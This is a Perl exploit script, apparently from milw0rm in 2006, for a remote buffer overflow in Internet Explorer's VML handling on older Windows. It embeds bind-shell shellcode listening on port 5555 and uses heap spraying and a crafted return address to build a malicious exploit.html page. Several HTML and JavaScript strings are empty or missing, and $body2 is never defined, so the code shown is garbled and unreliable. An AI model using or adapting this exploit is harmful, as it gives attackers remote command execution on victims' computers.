#!/usr/bin/perl # # Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP0-SP1 + # Windows 2000 SP4) # # Author: Trirat Puttaraksa (Kira) # # http://sf-freedom.blogspot.com # # For educational purpose only # # Note: This exploit is modified from Shirkdog's PoC # (http://www.milw0rm.com/exploits/2400) # # I exploit the stack-based buffer overflow in the different manner because of # the problem of shellcode. I use heap spraying technique to injection my # shellcode in the heap. Because I can control EIP so I tell it to jump into # the heap that contains shellcode ^-^ # # This exploit tested on: Windows XP SP1 + IE6 SP1 # Windows XP SP0 + IE6 # Windows 2000 SP4 + IE6 SP1 # Windows 2000 SP4 + IE6 # # I will describe more implementation details at my blog in this weekend :) # # P.S. Because of the buffer overflow protection mechanism in Windows XP SP2, # This exploit is not success. The situation that overwrite to the location # that eax point to is not occured, so I cannot use my techqniue # "The Fake Cookie" that I use to break buffer overflow protection in # Windows Server 2003 SP0 to bypass it. If anybody can break this protection # with some techniques, plz share information :) # use strict; # win32_bind LPORT = 5555 - Metasploit my $shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45". "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49". "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d". "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66". "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61". "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40". "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32". "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6". "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09". "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0". "\x66\x68\x15\xb3\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff". "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53". "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff". "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64". "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89". "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab". "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51". "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53". "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6". "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"; my $jscript = ""; my $header = "\n" . "\n" . "

\n" . "\n" . "\n" . $jscript . "\n" . "\n" ; my $footer = "\n" . "\n" . ""; my $body1 = "\n" . "\n" . "\n" . ""; my $page = "\xff\xfe"; # magic number of M$ unicode file my $c; # header + body1 foreach $c (split //, ($header . $body1)) { $page = $page . $c . "\x00"; } # padding + ret $page = $page . "\x41\x00" x (256) . # padding "\x01\x0d\x0d\x0d" . # writable memory "\x44\x44\x44\x44" . # padding "\x0d\x0d\x0d\x0d"; # return address # body2 + footer foreach $c (split //, ($body2 . $footer)) { $page = $page . $c . "\x00"; } open (IE_VML, ">", "exploit.html"); print IE_VML $page; close IE_VML; # This function copy from JSUnescape() code in Metasploit sub convert_shellcode { my $data = shift; my $mode = shift() || 'LE'; my $code = ''; # Encode the shellcode via %u sequences for JS's unescape() function my $idx = 0; # Pad to an even number of bytes if (length($data) % 2 != 0) { $data .= substr($data, -1, 1); } while ($idx < length($data) - 1) { my $c1 = ord(substr($data, $idx, 1)); my $c2 = ord(substr($data, $idx+1, 1)); if ($mode eq 'LE') { $code .= sprintf('%%u%.2x%.2x', $c2, $c1); } else { $code .= sprintf('%%u%.2x%.2x', $c1, $c2); } $idx += 2; } return $code; } # milw0rm.com [2006-09-21]